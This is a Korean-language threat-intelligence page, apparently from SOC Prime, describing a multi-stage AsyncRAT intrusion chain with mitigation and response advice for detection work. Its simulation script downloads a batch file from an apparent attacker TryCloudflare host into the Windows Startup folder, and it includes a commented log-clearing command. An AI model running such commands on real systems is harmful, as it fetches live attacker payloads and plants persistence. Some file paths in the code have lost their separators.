SOC Prime Bias: 심각

14 1월 2026 18:04

MDR이 다단계 AsyncRAT 공격 체인을 발견한 방법

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
MDR이 다단계 AsyncRAT 공격 체인을 발견한 방법
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 피싱 이메일을 통해 시작되는 다단계 침입 체인을 설명합니다. 이는 이중 확장자 ZIP 유인을 전달하고 WebDAV로 호스팅된 페이로드 시퀀스로 전환됩니다. 운영자는 Cloudflare 무료 티어 인프라와 번들된 Python 구성 요소를 악용하여 피해자 엔드포인트에 AsyncRAT를 배포합니다. 실행 및 지속성은 Windows 스크립트 호스트, PowerShell, 배치 스크립트 등 기본 Windows 도구에 의존하며, 최종 단계에서는 코드 주입을 통해 explorer.exe에 침투합니다. 전달 및 스테이징을 신뢰받는 클라우드 서비스로 라우팅함으로써, 이 활동은 정상적인 트래픽에 섞여 일반적인 경계 통제를 회피할 수 있습니다.

조사

Trend Micro 조사관은 드롭박스에서 .pdf.zip 아카이브를 가져오고, 포함된 .url 바로가기를 실행하며, 그에 따른 WebDAV 상호작용이 svchost.exe 및 rundll32.exe에 기인한다고 보고했습니다. 이 체인은 Python 3.14.0 포함 파일을 배포하여 AsyncRAT 셸코드의 APC 주입을 담당하는 사용자 정의 Python 스크립트를 실행했습니다. 지속성은 사용자 시작 폴더에 배치 파일을 놓아 달성되었습니다. 분석가는 또한 TryCloudflare 호스트 여러 개가 인프라를 지원하고 있음을 식별하고 상관관계를 도출하였습니다.

완화 대책

사용자에게 이중 확장자 아카이브와 예상치 못한 ZIP 첨부 파일을 의심하도록 교육하고 피싱으로 전달된 클라우드 링크에 대한 필터링을 강화하여 노출을 줄이세요. 비허가된 클라우드 터널링 서비스에 대한 접근을 차단하거나 엄격히 통제하고, WebDAV에 대한 비정상적인 의존이 드문 환경에서 이를 모니터링하세요. 사용자 쓰기가 가능한 디렉터리의 스크립트 실행을 제한하고, 시작 폴더 사용과 예약된 작업 생성에 대한 통제를 강화하세요. 정상적인 프로세스를 목표로 하는 스크립트 구동 실행 체인 및 코드 주입 기술을 나타낼 수 있는 EDR/행동 감지에 우선순위를 두세요.

대응

활동이 감지되면 엔드포인트를 격리하고 체인과 관련된 의심스러운 프로세스(특히 사건과 연관된 svchost.exe, rundll32.exe, python.exe)를 중지하세요. 시작 디렉터리에서 악성 배치 아티팩트를 삭제하여 지속성을 제거하고, 다운로드된 Python 아카이브 및 모든 AsyncRAT 구성 요소를 제거하며, 추가 스테이징 파일 및 횡 이동을 위한 전체 포렌식 검사를 수행하세요. 네트워크 통제 및 차단 목록을 업데이트하여 식별된 TryCloudflare 도메인 및 조사가 수행되는 동안 관찰된 모든 관련 인프라를 포함하세요.

“graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes attack_phishing[“<b>작업</b> – <b>T1566.001 Spearphishing Attachment</b>: 피해자가 Dropbox 아카이브에 링크된 이중 확장자 .pdf.url 첨부 파일이 포함된 피싱 이메일을 수신.”] class attack_phishing action file_shortcut[“<b>파일</b> – <b>.url 바로가기</b>: PDF 송장으로 위장하며 악성 Dropbox 아카이브를 가리킴.”] class file_shortcut file action_user_exec[“<b>작업</b> – <b>T1204.002 User Execution</b>: 사용자가 바로가기를 열어 초기 다운로드를 트리거.”] class action_user_exec action file_archive[“<b>파일</b> – <b>Dropbox 아카이브</b>: PDF 송장으로 보이며, 다음 단계 페이로드를 포함.”] class file_archive file action_masquerade[“<b>작업</b> – <b>T1036.008 Masquerading</b>: 아카이브 및 바로가기가 합법적인 PDF 파일로 가장하여 의심 회피.”] class action_masquerade action tool_wsh[“<b>도구</b> – <b>Windows Script Host</b>: .wsh/.wsf 파일을 실행하여 추가 스크립트를 검색.”] class tool_wsh tool action_script_proxy[“<b>작업</b> – <b>T1216 System Script Proxy Execution</b>: 스크립트 다운로드를 위한 프록시로 WSH 파일 실행.”] class action_script_proxy action tool_rundll32[“<b>도구</b> – <b>rundll32.exe</b>: WebDAV 서버와 통신하기 위해 davclnt.dll(DavSetCookie)을 호출.”] class tool_rundll32 tool action_rundll32[“<b>작업</b> – <b>T1218.011 Rundll32</b>: Cloudflareu2011 호스팅된 WebDAV 서버와 통신하기 위해 rundll32 사용.”] class action_rundll32 action tool_powershell[“<b>도구</b> – <b>PowerShell</b>: Python 3.14 embed zip을 다운로드하여 추출하고 추가 배치 파일을 가져옴.”] class tool_powershell tool action_powershell[“<b>작업</b> – <b>T1059.001 PowerShell</b>: 다운로드 및 추출을 위한 PowerShell 명령 실행.”] class action_powershell action action_hide[“<b>작업</b> – <b>T1564.001 Hide Artifacts</b>: 사용자 Temp 디렉토리 내에 숨겨진 파일로 페이로드 저장.”] class action_hide action file_hidden[“<b>파일</b> – <b>숨겨진 Temp 파일</b>: ne.py, new.bin, a.txt가 %TEMP%에 위치하고 숨겨짐.”] class file_hidden file action_persistence[“<b>작업</b> – <b>T1037.001 Logon Script</b>: 지속성을 위해 시작 폴더에 배치 파일 배치.”] class action_persistence action file_startup[“<b>파일</b> – <b>시작 배치 파일</b>: 사용자’s 시작 디렉토리에 ahke.bat 및 olsm.bat 위치함.”] class file_startup file action_ingress[“<b>작업</b> – <b>T1105 Ingress Tool Transfer</b>: WebDAV 서버에서 추가 악성 구성 요소 전송.”] class action_ingress action action_cloudapi[“<b>작업</b> – <b>T1059.009 Cloud API</b>: 최종 페이로드를 검색하기 위해 trycloudflare.com 도메인으로 HTTP/HTTPS 요청 전송.”] class action_cloudapi action action_injection[“<b>작업</b> – <b>T1055.004 Process Injection</b>: Python 스크립트 ne.py가 AsyncRAT 쉘코드를 explorer.exe에 APC 주입을 통해 주입.”] class action_injection action process_explorer[“<b>프로세스</b> – <b>explorer.exe</b>: APC 쉘코드 주입 대상 프로세스.”] class process_explorer process malware_asyncrat[“<b>악성코드</b> – <b>AsyncRAT</b>: 주입된 쉘코드가 원격 액세스 도구를 설정.”] class malware_asyncrat malware action_c2[“<b>작업</b> – <b>T1102.002 Web Service</b>: AsyncRAT가 HTTPS를 통해 Cloudflare 인프라와 양방향 통신.”] class action_c2 action %% Connections attack_phishing u002du002d>|전달| file_shortcut file_shortcut u002du002d>|피해자에 의해 열려 트리거됨| action_user_exec action_user_exec u002du002d>|다운로드| file_archive file_archive u002du002d>|사용됨| action_masquerade action_masquerade u002du002d>|실행 가능| tool_wsh tool_wsh u002du002d>|스크립트 다운로드에 참여| action_script_proxy action_script_proxy u002du002d>|호출| tool_rundll32 tool_rundll32 u002du002d>|호출| action_rundll32 action_rundll32 u002du002d>|환경 준비| tool_powershell tool_powershell u002du002d>|실행| action_powershell action_powershell u002du002d>|파일 저장| action_hide action_hide u002du002d>|생성| file_hidden file_hidden u002du002d>|사용됨| action_persistence action_persistence u002du002d>|배치| file_startup file_startup u002du002d>|트리거| action_ingress action_ingress u002du002d>|추가 구성 요소 가져오기| action_cloudapi action_cloudapi u002du002d>|패이로드 전달| action_injection action_injection u002du002d>|주입됨| process_explorer process_explorer u002du002d>|호스트| malware_asyncrat malware_asyncrat u002du002d>|비드렉션으로 통신| action_c2 “

공격 흐름

시뮬레이션 실행

전제조건: 원격 측정 및 기준선 예비 비행 점검이 통과해야 합니다.

  • 공격 내러티브 & 명령

    초기 PowerShell 접근 권한을 획득한 공격자는 손상된 Windows 호스트에 Python 실행 환경을 설정하고 지속성을 달성하고자 합니다. 그들은:

    1. 임베디드 Python 배포판을 다운로드합니다. 사용자의 로컬 Temp 디렉토리에 직접 사용하여 Invoke‑WebRequest.
    2. 악성 배치 스크립트를 다운로드합니다. (ahke.bat) Cloudflare로 프록시 서버로 사용되는 도메인에서 사용자의 시작 폴더로 모든 로그온 시에 실행되도록 합니다.
    3. 다운로드된 Python zip을 실행합니다. (간결성을 위해 여기서 생략) 추가 페이로드를 실행하기 위해.

    이러한 단계는 Sigma 규칙과 일치하는 정확한 명령 문자열을 생성하여 iwr … -OutFile … 패턴을 사용한 PowerShell 스크립트 블록 로그를 생성합니다. iwr … -OutFile … 패턴.

  • 회귀 테스트 스크립트

    # -------------------------------------------------
    # AsyncRAT 환경 설정의 PowerShell 시뮬레이션
    # -------------------------------------------------
    
    # 1. 사용자 임시 폴더에 Python 임베디드 zip를 다운로드
    $pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip'
    $pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip"
    iwr $pythonUrl -OutFile $pythonDest
    
    # 2. 시작 폴더에 지속성을 위한 악성 배치 파일을 다운로드
    $batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat'
    $batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat"
    iwr $batUrl -OutFile $batDest
    
    # 3. (선택 사항) 지속성 시범을 위한 배치 실행 트리거
    # Start-Process -FilePath $batDest -WindowStyle Hidden
    # -------------------------------------------------
  • 정리 명령

    # 다운로드된 아티팩트 제거
    Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue
    
    # 선택적으로 PowerShell 스크립트 블록 로그 지우기 (관리자 권한 필요)
    # Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"